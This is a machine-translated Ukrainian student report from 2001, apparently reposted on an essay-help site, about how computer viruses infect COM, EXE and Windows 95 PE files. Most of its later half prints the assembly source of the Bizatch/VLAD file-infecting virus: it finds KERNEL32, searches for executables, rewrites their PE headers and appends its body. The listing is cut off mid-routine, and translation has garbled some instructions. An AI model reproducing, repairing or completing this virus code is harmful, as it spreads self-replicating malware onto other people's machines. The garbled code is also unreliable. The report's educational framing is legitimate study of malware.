Термінова допомога студентам
Дипломи, курсові, реферати, контрольні...

Комп'ютерні віруси

РефератДопомога в написанніДізнатися вартістьмоєї роботи

Замість 33h іноді то, можливо 2Вh). Закінчуватися код повинен текстовими рядками типу. Наприкінці сектора розміщуються зовні розрізнені байти таблиці розділів. Потрібно звернути увагу до розміщення активного розділу в таблиці розділів. Якщо операційна система розташована на диску З, а активний 2, 3 чи 4 розділ, то вірус міг змінити точку старту, сам розмістивши на початку іншого логічного диска… Читати ще >

Комп'ютерні віруси (реферат, курсова, диплом, контрольна)

МІНІСТЕРСТВО ОСВІТИ РОСІЙСЬКОЇ ФЕДЕРАЦИИ.

ТАГАНРОЗЬКИЙ РАДІОТЕХНІЧНИЙ УНИВЕРСИТЕТ.

РЕФЕРАТ.

за курсом «Основи експлуатації ЭВМ».

тема: «Комп'ютерні віруси, засоби захисту, профілактика і лечение».

Выполнил: Шуев С.Б.

Перевірив :

Євтєєв Г. Н.

ТАГАНРОГ, 2001.

Працюючи із сучасним персональним комп’ютером користувача (а особливо початківця) може чатувати безліч неприємностей: втрата даних, зависання системи, вихід із ладу окремих частин комп’ютера та інші. Однією з причин їхнього них поруч із помилками в програмному забезпеченні) і невмілими діями самого оператора ПЕОМ може бути проникли до системи комп’ютерні віруси. Ці програми подібно біологічним вірусам розмножуються, записуючись в системні області диска чи приписываясь до файлам і виробляють різні небажані дії, які, найчастіше, мають катастрофічні наслідки. Щоб стати жертвою цього лиха, кожному користувачеві слід добре знати принципи захисту від комп’ютерних вирусов.

У літературі дуже наполегливо пропагується, що позбутися вірусів можна лише за допомогою складних (і дорогих) антивірусних програм, та керівництво нібито тільки під їх захистом ви зможете почуватися безпеці. Не зовсім така — ознайомлення з особливостями будівлі та способами впровадження комп’ютерних вірусів допоможе вчасно їх знайти й локалізувати, навіть коли під рукою бракуватиме підходящої антивірусної программы.

COM — вирусы.

Розглянемо два варіанта впровадження COMвірусу. Варіант перший. Вірус переписує початок програми насамкінець файла, щоб звільнити місце собі. Після цього тіло вірусу записується на початок файла, а невеличка його частину, забезпечує перенесення витісненого фрагмента програми, на попереднє місце — насамкінець. При відновленні початкового виду програми тіло вірусу буде затерто, тому код вірусу, який відновлює програму, має перебувати у безпечному місці, окремо від основного тіла вірусу. Такий спосіб впровадження зображений на рис. 1.

Початок програми листується насамкінець файла, звільняючи місце для вируса.

Тіло вірусу записується на початок файла, а частина вірусу забезпечує відновлення програми — в конец.

Рис. 1 При завантаженні зараженого у такий спосіб файла управління отримає вірус (так як і перебуває на початку файла і буде завантажений з адреси 100h). Після закінчення роботи вірус передає управління коду, переносящему витиснений частина програми на попереднє місце. Після поновлення (у пам’яті, над файлі) початковий вигляд програми, вона запускається. Схема роботи вірусу зображено на рис. 2. Другий варіант відрізняється від першого тим, що вірус, звільняючи собі місце, зрушує її програми, а чи не переносить значна її частина насамкінець файла. Такий спосіб впровадження зображений на рис. 3. Після запуску зараженої програми, як і попереднього разі, управління отримує вирус.

Відпрацювавши, вірус передає управління своєму коду наприкінці программы.

Відновлює ся початковий вигляд программы.

Після поновлення вірус запускає программу.

Рис. 2.

Подальша робота вірусу відрізняється лише, що коли частина вірусу, восстанавливающая початковий вигляд програми, переносить до адресою 100h все тіло програми, Не тільки витиснений частина. Схема роботи вірусу, заражающего файл в такий спосіб, приведено на рис. 4.

Тіло програми зсувається ближче під кінець файла, звільняючи місце для вируса.

Тіло вірусу записується на початок файла, а частина вірусу, забезпечує відновлення програми — в конец.

рис. 3.

Відпрацювавши, вірус передає управління своєму коду наприкінці программы.

Відбудовується початковий вигляд програми — тіло програми зсувається до адресою 0100h.

Після поновлення вірус запускає программу.

рис. 4.

EXE — вирусы.

EXE — віруси умовно можна розділити на групи, використовуючи як ознаки для розподілу особливості алгоритма.

Віруси, які заміщають програмний код (Overwrite).

Такі віруси вже є раритетом. Їхній головний недолік — занадто груба робота. Інфіковані програми не виконуються, оскільки вірус записується поверх програмного коду, не зберігаючи його. Після запуску вірус шукає чергову жертву (чи жертви), відкриває знайдений файл для редагування і записує своє тіло до початок програми, не зберігаючи оригінальний код. Інфіковані цими вірусами програми лікуванню не подлежат.

Віруси — супутники (Companion).

Ці віруси отримали свою назву через алгоритму розмноження: до кожному інфікованій файлу створюється файл — супутник. Розглянемо більш докладно два типу вірусу цієї группы:

Віруси першого типу розмножуються так. До кожного инфицируемого EXE — файла у тому каталозі створюється файл з вірусним кодом, у яких таку ж ім'я, як і EXE — файл, але з розширенням СОМ. Вірус активізується, якщо запуску програми в командної рядку зазначено лише ім'я виконуваного файла. Річ у тім, що, а то й зазначено розширення файла, DOS спочатку шукає нинішнього року каталозі файл з заданим ім'ям і розширенням СОМ. Якщо СОМ — файл з такою назвою не знайдено, ведеться пошук однойменного ЕХЕ — файла. Не знайдене й ЕХЕ — файл, DOS спробує знайти й ВАТ (пакетний) файл. Без нинішнього року каталозі виконуваного файла із зазначеним ім'ям пошук ведеться переважають у всіх каталогах, доступних по перемінної РАТН. Інакше кажучи, коли користувач хоче запустити програму і здобуває командної рядку лише його ім'я (переважно усе й роблять), першим управління отримує вірус, код якого перебуває у СОМ — файлі. Він створить СОМ — файл ще одного або декільком ЕХЕ — файлам (поширюється), та був виконує ЕХЕ — файл із зазначеним в командної рядку ім'ям. Користувач ж думає, який працює лише запущена ЕХЕ — програма. Вірус — супутник знешкодити досить просто — досить видалити СОМ — файл.

Віруси другого типу діє понад тонко. Ім'я инфицируемого ЕХЕ — файла залишається колишнім, а розширення замінюється яким — чи іншим, відмінними від виконуваного (СОМ, ЕХЕ і ВАТ). Наприклад файл може пллучить розширення DAT (файл даних) чи OVL (програмний оверлей). Потім цього разу місце ЕХЕ — файла копіюється вірусний код. Після запуску такий інфікованої програми управління отримує вірусний код, що у ЕХЕ — файлі. Інфікувавши іще одна чи кілька ЕХЕ — файлів так само, вірус повертає оригінальному файлу який виконувався розширення (але з ЕХЕ, а СОМ, оскільки ЕХЕ — файл стаким ім'ям зайнятий вірусом), після чого виконує його. Коли робота інфікованої програми завершено, її запускаемому файлу повертається розширення неисполняемого. Лікування файлів, заражених вірусом цього, то, можливо утруднено, якщо вірус — супутник шифрує частину або її инфицируемого файла, а перед виконанням його расшифровывает.

Віруси, внедряющиеся у програмі (Parasitic).

Віруси цього виду самі непомітні: їх код записується в инфицируемую програму, що дуже утрудняє лікування заражених файлів. Розглянемо методи впровадження ЕХЕ — вірусів у ЕХЕ — файл.

Способи зараження ЕХЕ — файлов.

Найпоширеніший спосіб зараження ЕХЕ — файлів такий: насамкінець файла дописується тіло вірусу, а заголовок коригується (зі збереженням оригінального) те щоб під час запуску інфікованого файла управління отримував вірус. Схоже на зараження СОМ — файлів, але замість завдання коді переходу на початок вірусу коригується власне адресу точки запуску програми. Після закінчення роботи вірус бере з збереженого заголовка оригінальний адресу запуску програми, додає для її сегментной компоненті значення регістру DS чи ES (отримане при старті вірусу) і передає управління на отриманий адрес.

Наступний спосіб — впровадження вірусу на початок файла зі зсувом коду програми. Механізм зараження такий: тіло инфицируемой програми зчитується на згадку про, її місце записується вірусний код, а після нього — код инфицируемой програми. Отже, код програми хіба що «зсувається» в файлі на довжину коду вірусу. Звідси і назва способу — «спосіб зсуву». Після запуску інфікованого файла вірус заражає іще одна чи кілька файлів. Після цього він зчитує на згадку про код програми, записує їх у спеціально створений на диску тимчасовий файл з розширенням виконуваного файла (СОМ чи ЕХЕ), і далі виконує цей файл. Коли програма закінчила роботу, тимчасовий файл видаляється. Якщо за створенні вірусу не застосовувалося додаткових прийомів захисту, то вилікувати інфікована файл досить легко — досить видалити код вірусу на початку файла, і яскрава програма знову працездатною. Недолік цього методу тому, що припадати зчитувати на згадку про весь код инфицируемой програми (а бувають екземпляри розміром більше 1 Мбайт).

Наступний спосіб зараження файлів — метод перенесення — очевидно, є досконалим із усіх перелічених. Вірус розмножується так: під час запуску инфицируемой програми тіло вірусу з її зчитується на згадку про. Потім ведеться пошук неинфицированной програми. У пам’ять зчитується її початок, за довжиною рівну тілу вірусу. А ще місце записується тіло вірусу. Початок програми з пам’яті дописується насамкінець файла. Звідси назва методу — «метод перенесення». Потому, як вірус інфікував чи кілька файлів, він вдається до виконання програми, з якої запустився. І тому він зчитує початок інфікованої програми, збережене наприкінці файла, і записує їх у початок файла, відновлюючи працездатність програми. Потім вірус видаляє код початку програми з кінця файла, відновлюючи оригінальну довжину файла, і виконує програму. Після закінчення програми вірус знову записує свій код на початок файла, а оригінальне початок програми — в кінець. Цим методом може бути інфіковані навіть антивіруси, які перевіряють свій код на цілісність, оскільки запускаемая вірусом програма має у точності той самий код, як і по инфицирования.

Віруси під Windows 9x.

Формат Portable Executable використовується Win 32, Windows NT, Windows 95, Windows 98, що робить її дуже популярний, у майбутньому, можливо він стане домінуючим форматом ЕХЕ. Цей формат істотно відрізняється від NE — executable, що у Windows 3.11.

Виклик Windows API.

Звичайні докладання викликають Windows АПІ (Application Program Interface) використовуючи таблицю імпортованих імен. Коли додаток завантажене, дані, необхідних виклику АПІ, заносять у цю таблицю. У Windows 9x, завдяки передбачливості фірми — виробника Microsoft, модифікувати таблицю імпортованих імен неможливо. Це вирішується безпосереднім викликом KERNEL32. Тобто що потрібно повністю ігнорувати структуру виклику і стати безпосередньо на точку входу DLL.

Щоб самому отримати описувач (Handle) DLL/ЕХЕ, можна використовувати виклик АРI GetModuleHandle й інші функції щоб одержати точок входу модуля, включаючи функцію отримання адреси АПІ GetProcAddress.

Як викликати АПІ, маючи можливість викликати його й побачив той час такий можливості які мають? Відповідь: викликати АПІ, розташування що його пам’яті відомо — це АПІ в файлі KERNEL32. DLL, він перебувають розслідування щодо постійному адресу.

Виклик АПІ додатками виглядає приблизно так: сall API_FUNCTION_NAME наприклад: call CreateFileA Після компіляції цей виклик така: db 9Ah; інструкція call dd ??? ;усунення в таблиці переходів Код в таблиці переходів нагадує такий: jmp far [offset into import table] Зміщення в таблиці імпортованих імен містить адресу диспетчера для даної функції АПІ. Цей адресу можна з допомогою GetProcAddress АПІ. Диспетчер функцій така: push function value call Module Entrypoint.

Знаючи точки входу, можна викликати їх безпосередньо, минаючи таблицю цього модуля. Тому усунути виклики KERNEL32. DLL у його стандартної точці на виклики безпосередньо функцій. Просто зберігаємо в стеці значення функції і викликаємо точку входу в модуль.

Модуль KERNEL32. DLL міститься у пам’яті статично — що саме так передбачалося. Але конкретне місце його розташування у різних версіях Windows 9x відрізняється. Це перевірили. Виявилося, що одне функція (отримання времени/даты) відрізняється номером. Для компенсації їх додана перевірка двох різних місць на наявність KERNEL32.DLL. Але якщо KERNEL32. DLL все-таки, не знайдено, вірус повертає управління програміносителю.

Адреси і номери функции.

Для June Test Release KERNEL32. DLL перебувають розслідування щодо адресою 0BFF93B95h, для August Release — за адресою 0BFF93C1Dh. Можна познаходити інших значень функції, використовуючи 32-битный отладчик. У таблиці 1 наведено адреси функцій, які потрібні до роботи вируса.

Таблиця 1. Адреси деяких функцій KERNEL32.DLL.

|Функция |Адреса в June Test |Адреса в August Test | | |Release |Release | |GetCurrentDir |BFF77744h |BFF77744h | |SetCurrentDir |BFF7771Dh |BFF7771Dh | |GetTime |BFF9D0B6h |BFF9D14Eh | |MessageBox |BFF638D9h |BFF638D9h | |FindFile |BFF77893h |BFF77893h | |FindNext |BFF778CBh |BFF778CBh | |CreateFile |BFF77817h |BFF77817h | |SetFilePointer |BFF76FA0h |BFF76FA0h | |ReadFile |BFF75806h |BFF75806h | |WriteFile |BFF7580Dh |BFF7580Dh | |CloseFile |BFF7BC72h |BFF7BC72h |.

угоди про вызовах.

Windows 9x написано мовами З++ (переважно) і Assembler. І, хоча домовленості про викликах прості до застосування, Microsoft їх використовує. Усі АРI під Windows 9x використовують Pascal Calling Convention. Приклад — АРI, описаний в файлах довідки Visual C++:

FARPROC GetProcAddres (.

HMODULE hModule, // описувач DLL-модуля.

LPCSTR lpszProc // ім'я функции.

);

На перший погляд видається, що варто лише зберегти в стеці описувач DLL-модуля (він сидить над покажчиком з ім'ям функції) і може викликати АПІ. Але тут інше. Параметри, відповідно до Pascal Calling Convention, повинні бути збережені в стеці у протилежному порядке:

Push offset lpszProc.

Push dword ptr [hModule].

Call GetProcAddress.

Використовуючи 32-битный отладчик, можна оттрасировать виклик і знайти виклик KERNEL32. DLL кожному за конкретного випадку. Це дозволить отримати номер функції і уникнути яка потрібна на виклику таблиці імпортованих имен.

Зараження файлів формату PE — execuatable.

Визначення становища початку РЄ - заголовка відбувається аналогічно пошуку початку NE — заголовка. Якщо усунення таблиці настройки адрес (полі 18h) в заголовку ЕХЕ — файла 40h чи більше, то зміщення 3Ch перебуває усунення PE — execuatable заголовка. Сигнатура PE — execuatable («РЄ») перебуває, як і в NE — execuatable ЕХЕ — файла, із початком заголовка.

Усередині PE — заголовка перебуває таблиця об'єктів. Її формат найбільш важливий проти іншими. Для додавання вірусного коду в носій і перехоплення вірусом управління треба додати елемент в таблицю объектов.

Основні дії зараження PE — execuatable файла:

1. Знайти усунення заголовка PE — execuatable в файле.

2. Вважати достатньо інформації з заголовка для обчислення його повного размера.

3. Вважати весь PE — заголовок і таблицю объектов.

4. Додати новий об'єкт в таблицю объектов.

5. Встановити точку входу RVA нового объект.

6. Дописати вірус до файлу по вычисленному фізичному смещению.

7. Записати змінений РЄ - заголовок в файл.

Для визначення розташування таблиці об'єктів слід скористатися значенням перемінної «HeaderSize» (не плутати з «NT headersize»), яка містить спільний розмір заголовків DOS, PE і таблиці объектов.

Для читання таблиці об'єктів треба вважати HeaderSize байт від початку файла.

Таблиця об'єктів розташована безпосередньо за NT — заголовком. Значення «NTheadersize» показує кількість байт, наступних за полем «flags». Отже, визначення усунення таблиці об'єктів потрібно одержати NТheadersize і додати розмір поля прапорів (24).

Додавання об'єкта: отримавши кількість об'єктів, помножити його за 40 (розмір елемента таблиці об'єктів). Отже визначається усунення, по якому міститиметься вирус.

Дані для елемента таблиці об'єктів мали бути зацікавленими враховано з використанням інформацією попередньому елементі (елементі носителя).

RVA=((prev RVA+ prev Virtual Size)/OBJ Alignment+1).

*OBJ Alignment.

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1).

*OBJ Alignment.

Physical Size=(size of virus/File Alignment+1)*File Alignment.

Physical Offset=prev Physical Offset+prev Physical Size.

Object Flags=db 40h, 0,0,C0h.

Entrypoint RVA=RVA.

Тепер потрібно збільшити на одиницю полі «кількість об'єктів» і записати код вірусу по вычисленному «фізичному зміщення» у вигляді фізичного розміру байт.

Приклад вірусу під Windows 9x.

.386 locals jumps. model flat, STDCALL include win32. inc ;деякі 32-битные константи і структури L equ.

;Визначимо зовнішні функції, яких буде підключатися вірус extrn BeginPaint: PROC extrn CreateWindowExA: PROC extrn DefWindowProcA: PROC extrn DispatchMessageA: PROC extrn EndPaint: PROC extrn ExitProcess: PROC extrn FindWindowA: PROC extrn GetMessageA: PROC extrn GetModuleHandleA: PROC extrn GetStockObject: PROC extrn InvalidateRect: PROC extrn LoadCursorA: PROC extrn LoadIconA: PROC extrn MessageBeep: PROC extrn PostQuitMessage: PROC extrn RegisterClassA: PROC extrn ShowWindow: PROC extrn SetWindowPos: PROC extrn TextOutA: PROC extrn TranslateMessage: PROC extrn UpdateWindow: PROC.

;Для підтримки Unicode Win32 інтерпретує деякі функции.

;для ANSI чи розширеного набору символов.

;Як приклад розглянемо ANSI.

CreateWindowEx equ DefWindowProc equ DispatchMessage equ FindWindow equ GetMessage equ GetModuleHandle equ LoadCursor equ LoadIcon equ MessageBox equ RegisterClass equ TextOut equ.

.data newhwnd dd 0 lppaint PAINTSTRUCT msg MSGSTRUCT wc WNDCLASS mbx_count dd 0 hInst dd 0 szTitleName db «Bizatch by Quantum / VLAD activated «zero db 0 szAlternate db «more than once », 0 szClassName db «ASMCLASS32 », 0.

;Повідомлення виведене з вікна szPaint db «Left button pressed: «s_num db «00h times. », 0.

;Розмір повідомлення MSG_L EQU ($-offset szPaint)-1 .code.

;Сюди зазвичай передається управління завантажника. start:

;Одержимо HMODULE push L 0 call GetModuleHandle mov [hInst], eax push L 0 push offset szClassName call FindWindow or eax, eax jz reg_class.

;Простір для модифікації рядки заголовка mov [zero], «» reg_class:

;Инициализируем структуру WndClass mov [wc.clsStyle], CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS mov [wc.clsLpfnWndProc], offset WndProc mov [wc.clsCbClsExtra], 0 mov [wc.clsCbWndExtra], 0 mov eax,[hInst] mov [wc.clsHInstance], eax.

;Завантажуємо значок push L IDI_APPLICATION push L 0 call LoadIcon mov [wc.clsHIcon], eax.

;Завантажуємо курсор push L IDC_ARROW push L 0 call LoadCursor mov [wc.clsHCursor], eax.

;Инициализируем решта поля структури WndClass mov [wc.clsHbrBackground], COLOR_WINDOW+1 mov dword ptr [wc.clsLpszMenuName], 0 mov dword ptr [wc.clsLpszClassName], offset szClassName.

;Регистрирем клас вікна push offset wc call RegisterClass.

;Створюємо вікно push L 0 ;lpParam push [hInst] ;hInstance push L 0 ;Меню push L 0 ;hwnd батьківського вікна push L CW_USEDEFAULT ;Висота push L CW_USEDEFAULT ;Довжина push L CW_USEDEFAULT ;Y push L CW_USEDEFAULT ;X push L WS_OVERLAPEEDWINDOW ;Style push offset szTitleName ;Title Style push offset szClassName ;Class Name push L 0 ;extra style call CreateWindowEx.

;Зберігаємо HWND mov [newhwnd], eax.

;Відображаємо вікно на екрані push L SW_SHOWNORMAL push [newhwnd] call ShowWindow.

;Оновлюємо вміст вікна push [newhwnd] call UpdateWindow.

;Черга повідомлень msg_loop:

;Прочитаємо таке повідомлення з черги push L 0 push L 0 push L 0 push offset msg call GetMessage.

;Якщо функція GetMessage повернула нульовий значение,.

;то завершуємо обробку повідомлень і виходимо з процесу cmp ax, 0 je end_loop.

;перетворимо віртуальні коди клавіш в повідомлення клавіатури push offset msg call TranslateMessage.

;Віддаємо це повідомлення у Windows push offset msg call DispatchMessage.

;Переходимо ось до чого повідомленню jmp msg_loop.

;Виходимо з процесу end_loop: push [msg.msWPARAM] call ExitProcess.

;Обробка повідомлень вікна. Win32 вимагає збереження регистров.

;EBX, EDI, ESI. запишемо ці регістри після «uses «в рядку «proc «.

;Це дозволить Ассемблеру зберегти їх WndProc proc uses ebx edi esi, hwnd: DWORD, wmsg: DWORD, wparam: DWORD, lparam: DWORD LOCAL theDC: DWORD.

;Проверим, яке повідомлення отримали, і час торкнутися обработке.

cmp [wmsg], WM_DESTROY je wmdestroy стор [wmsg], WM_RBUTTONDOWN je wmrbuttondown cmp [wmsg], WM_SIZE je wmsize cmp [wmsg], WM_CREATE je wmcreate cmp [wmsg], WM_LBUTTONDOWN je wmlbuttondown cmp [wmsg], WM_PAINT je wmpaint cmp [wmsg], WM_GETMINMAXINFO je wmgetminmaxinfo.

;Данная програма не обробляє це повідомлення. ;Передамо його Windows, ;щоб було оброблено за умовчанням jmp defwndproc.

;Сообщение WM_PAINT (перемалювати вміст окна) wmpaint:

;Подготовим вікно для перемальовування push offset Ippaint push [hwnd] call BeginPaint mov [theDC], eax.

;Переведем в ASCII-формат значення mbx_count, яке ;доводить, скільки ж разів була натиснута ліва кнопка мыши.

mov eax,[mbx_count] mov edi, offset s_num call HexWrite32.

; Висновок рядки у окно.

push L MSG_L ;Довжина рядки push offset szPaint ;Рядок push L 5 ;Y push L 5 ;X push [theDC] ;DC call TextOut.

;0бозначим завершення перемальовування вікна push offset Ippaint push [hwnd] call EndPaint.

;Выходим з обробітку повідомлення mov eax, 0 jmp finish.

;Сообщение WM_CREATE (створення окна).

wmcreate:

; Виходимо з обробітку повідомлення mov eax, 0 jmp finish.

;Сообщение, не обрабатываемое даної програмою, передаємо Windows defwndproc:

push [Iparam] push [wparam] push [wmsg] push [hwnd] call DefWindowProc.

; Виходимо з обробітку повідомлення jmp finish.

;Сообщение WM_DESTROY (знищення вікна) wmdestroy:

; Заплющимо потік push L Про call PostQuitMessage.

;Выходим з обробітку повідомлення mov eax, Про jmp finish.

;Сообщение WMJ-BUTTONDOWN (натиснута ліва кнопка миші) wmlbuttondown:

inc [mbx_count].

;0бновим вміст вікна push L 0 push L 0 push [hwnd] call InvalidateRect.

[Выходим з обробітку повідомлення mov eax, Про jmp finish.

;Сообщение WM_RBUTTONDOWN (натиснута права кнопка мыши).

wmrbuttondown:

push L 0 call MessageBeep.

;Выходим з обробітку повідомлення jmp finish.

;Сообщение WM_SIZE (змінено розмір вікна) wmsize:

;Выходим з обробітку повідомлення mov eax, Про jmp finish.

;Сообщение WM_GETMINMAXINFO (спроба змінити размер

;или становище окна).

wmgetminmaxinfo:

;Заполним структуру MINMAXINFO mov ebx, [Iparam].

mov [(MINMAXINFO ptr. ebx).mintrackposition_x], 350 mov [(MINMAXINFO ptr ebx).mintrackposition_y], 60.

;Выходим з обробітку повідомлення mov eax, Про jmp finish.

;Выходим з обробітку повідомлення finish:

ret WndProc endp.

;Процедура перекладу байта в ASCII-формат до друку. Значення, ;що у регістрі AL, прописано в ASCII-формате ;за адресою ES-.EDI HexWriteS proc.

;Разделяем байт на полубайты і завантажуємо в регістри АН і AL mov ah, al and al.0Fh shr ah, 4.

;Добавляем 30h до кожного полубайту, щоб регістри містили коди ;відповідних символів ASCII. Якщо число,.

;записанное в полубайте, було 9, ;ті значення у тому полубайте треба ще коригувати or ax, 3030h.

;Меняем полубайты місцями, щоб регістр АН містив молодший ;відкусування, а регістр AL — старший xchg al.ah.

;Проверим, чи потрібно коригувати молодший відкусування, ;якщо так — корректируем.

cmp ah, 39h ja @@4.

;Проверим, чи потрібно коригувати старший відкусування, ;якщо так — корректируем.

@@1: cmp al, 39h ja @@3.

;Сохраним значення за адресою ES: EDI @@2: stosw ret.

;Корректируем значення старшого полубайта @@3: sub al, 30h add al, «A «-10 jmp @@2.

;Корректируем значення молодшого полубайта @@4: sub ah, 30h add ah, «A «-10 jmp @@1 HexWriteS endp.

; Процедура перекладу слова в ASCII-формат до друку. ;Значення, що у регістрі АХ, прописано ;в ASCII-формате за адресою ES: EDI.

HexWrite16 proc.

;Сохраним молодший байт з стека push ax.

;Загрузим старший байт в регістр AL xchg al, ah.

;Переведем старший байт в ASCII-формат call HexWriteS.

;Восстановим молодший байт з стека pop ax.

;Переведем молодший байт в ASCII-формат.

call HexWriteS ret HexWrite16 endp.

;Процедура перекладу подвійного слова в ASCII-формат до друку. ;Значення, що у регістрі ЕАХ, прописано ;в ASCII-формате за адресою ES: EDI HexWrite32 proc.

;Сохраним молодше слово з стека push eax.

;Загрузим старше слово в регістр АХ shr eax, 16.

;Переведем старше слово в ASCII-формат call HexWrite16.

;Восстановим молодше слово з стека pop eax.

;Переведем молодше слово в ASCII-формат.

call HexWrite16 ret HexWrite32 endp.

;Сделаем процедуру WndProc доступною извне.

public WndProc ends.

;Здесь починається код вірусу. Цей код листується з файла ;в файл. Усі вищеописане — лише программа-носитель vladseg segment para public «vlad «.

assume cs: vladseg vstart: *.

;Вычислим поточний адрес.

call recalc recalc: pop ebp mov eax, ebp db 2Dh ;Код команди SUB AX subme dd 30000h+(recalc-vstart).

;Сохраним адресу в стеці push eax.

;Вычислим стартовий адресу вірусного коду sub ebp, offset recalc.

;Ищем KERNEL. Візьмемо другу відому нам точку KERNEL mov eax,[ebp+offset kern2].

;Проверим ключ. Якщо ключа немає, час торкнутися точці 1 cmp dword ptr [eax], 5350FC9Ch jnz notkern2.

;KERNEL знайдено, точка 2.

mov eax,[ebp+offset kern2] jmp movit.

;Точка 2 відхилило, перевіримо точку 1 notkern2:

; Візьмемо адресу першої відомої нам точки KERNEL mov eax,[ebp+offset kern1].

;Проверим ключ, якщо ключа немає - виходимо cmp dword ptr [eax], 5350FC9Ch jnz nopayload.

;KERNEL знайдено, точка 1.

mov eax,[ebp+offset kern1].

;KERNEL знайдено, адресу точки входу перебуває у регістрі EAX movit:

;Сохраним адресу KERNEL mov [ebp+offset kern], eax cld.

;3апомним поточну директорію lea eax, [ebp+offset orgdir] push eax push 255 call GetCurDir.

;Инициализируем лічильник заражений.

mov byte ptr [ebp+offset countinfect], 0.

;Ищем перший файл infectdir:

lea eax, [ebp+offset win32_data_thang] push eax lea eax, [ebp+offset fname] push eax call FindFile.

;Сохраним індекс для поиска.

mov dword ptr [ebp+offset searchhandle], eax.

Проверим, знайдено чи файл. Якщо файл не знайдено, ;змінюємо директорию.

cmp еах,-1 jz foundnothing.

;0ткроем файл для читання і запис gofile: push Про push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL push 3 ;OPEN_EXISTING push 0 push 0 push 8 000 0000h+4 000 0000h ;GENERIC_READ+GENERIC_WRITE lea eax, [ebp+offset fullname] push eax call CreateFile.

;Сохраним описувач файла.

mov dword ptr [ebp+offset ahand], eax.

;Проверим, не відбулася чи помилка. ;Якщо помилка відбулася, шукаємо наступний файл сmр еах,-1 jz findnextone.

;Доставим покажчик позиції чтения/записи на полі ;зі зміщенням РЕ-заголовка.

push Про push Про push 3Ch push dword ptr [ebp+offset ahand] call SetFilePointer.

;Считаем адресу РЕ-заголовка push Про lea eax,[ebp+offset bytesread] push eax push 4 lea eax, [ebp+offset peheaderoffset] push eax push dword ptr [ebp+offset ahand] call ReadFile.

;Доставим покажчик позиції чтения/записи початку РЕ-заголовка push 0 push 0 push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer.

;Считаем число байт, достатні обчислення повного розміру ;РЕ-заголовка і таблиці объектов.

push 0 lea eax, [ebp+offset bytesread] push eax push 58h lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call ReadFile.

;Проверим сигнатуру. Якщо немає, закриваємо ;цей файл й шукаємо следующий.

cmp dword ptr [ebp+offset peheader], 4550h; jnz notape.

;Проверим файл на зараженість. Якщо файл заражений, ;то закриваємо цей файл й шукаємо следующий.

cmp word ptr [ebp+offset peheader+4ch], OFOODh jz notape cmp dword ptr [ebp+offset 52], 400 0000h jz notape.

;Доставим покажчик позиції чтения/записи початку РЕ-заголовка push 0 push 0 push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer.

;Считаем весь РЕ-заголовок і таблицю объектов.

push Про lea eax, [ebp+offset bytesread] push eax push dword ptr [ebp+offset headersize] lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call ReadFile.

;становим ознака заражения.

mov word ptr [ebp+offset peheader+4ch], OFOODh.

;Найдем усунення таблиці об'єктів xor eax, eax mov ax, word ptr [ebp+offset NtHeaderSize] add eax, 18h mov dword ptr [ebp+offset ObjectTableoffset], eax.

;Вычислим усунення останнього (null) об'єкта в таблиці об'єктів mov esi, dword ptr [ebp+offset ObjectTableoffset] lea eax, [ebp+offset peheader] add esi, eax xor eax. eax mov ax, [ebp+offset numObj] mov ecx, 40 xor edx. edx mul ecx add esi, eax.

;Увеличим число об'єктів на 1.

inc word ptr [ebp+offset numObj] lea edi,[ebp+offset newobject] xchg edi, esi.

;Вычислим відносний віртуальний адресу (Relative Virtual Address ;чи RVA) нового объекта.

mov eax,[edi-5*8+8] add eax,[edi-5*8+12] mov ecx, dword ptr [ebp+offset objalign] xor edx, edx divx ecx inc eax mul ecx mov dword ptr [ebp+offset RVA], eax.

;Вычислим фізичний розмір об'єкта mov ecx, dword ptr [ebp+offset filealign] mov eax, vend-vstart xor edx, edx divx ecx inc eax mul ecx mov dword ptr [ebp+offset physicalsize], eax.

;Вычислим віртуальний розмір об'єкта mov ecx, dword ptr [ebp+offset objalign] mov eax, vend-vstart+1000h xor edx. edx divx ecx inc eax mul ecx mov dword ptr [ebp+offset virtualsize], eax.

;Вычислим фізичне усунення об'єкта mov eax,[edi-5*8+20] add eax,[edi-5*8+16] mov ecx, dword ptr [ebp+offset filealign] xor edx, edx divx ecx inc eax mul ecx mov dword ptr [ebp+offset physicaloffset], eax.

;Обновим розмір образу (розмір у пам’яті) файла mov eax, vend-vstart+1000h add eax, dword ptr [ebp+offset imagesize] mov ecx, [ebp+offset objalign] xor edx, edx divx ecx inc eax mul ecx mov dword ptr [ebp+offset imagesize], eax.

;Скопируем новий об'єкт в таблицю об'єктів mov ecx, 10 rep movsd.

;Вычислим точку входу RVA.

mov eax, dword ptr [ebp+offset RVA] mov ebx, dword ptr [ebp+offset entrypointRVA].

mov dword ptr [ebp+offset entrypointRVA], eax sub eax. ebx add eax, 5.

;Установим значення, необхідне повернення носій mov dword ptr [ebp+offset subme], eax.

;Поставим покажчик позиції чтения/записи початку РЕ-заголовка.

push Про push Про push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer.

;Запишем РЕ-заголовок і таблицю об'єктів в файл.

push Про lea eax,[ebp+offset bytesread] push eax push dword ptr [ebp+offset headersize] lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call WriteFile.

;Увеличим лічильник заражений.

inc byte ptr [ebp+offset countinfect].

;Поставим покажчик позиції чтения/записи ;по фізичному зміщення нового объекта.

push Про push Про push dword ptr [ebp+offset physicaloffset] push dword ptr [ebp+offset ahand] call SetFilePointer.

;Запишем тіло вірусу у новий об'єкт push Про lea eax, [ebp+offset bytesread] push eax push vend-vstart lea eax, [ebp+offset vstart] push eax push dword ptr [ebp+offset ahand] call WriteFile.

;3акроем файл notape: push dword ptr [ebp+offset ahand] call CloseFile.

; Перехід ось до чого файлу findnextone:

;Проверим, скільки файлів заразили: якщо 3, ;то виходимо, коли менш ніж — шукаємо следующий.

cmp byte ptr [ebp+offset countinfect], 3.

jz outty.

;Ищем наступний файл.

lea eax, [ebp+offset win32_data_thang] push eax push dword ptr [ebp+offset searchhandle] call FindNext.

;Если файл знайдено, переходимо до зараження or eax, eax jnz gofile.

;Сюда потрапляємо, якщо файл не знайдено foundnothing:

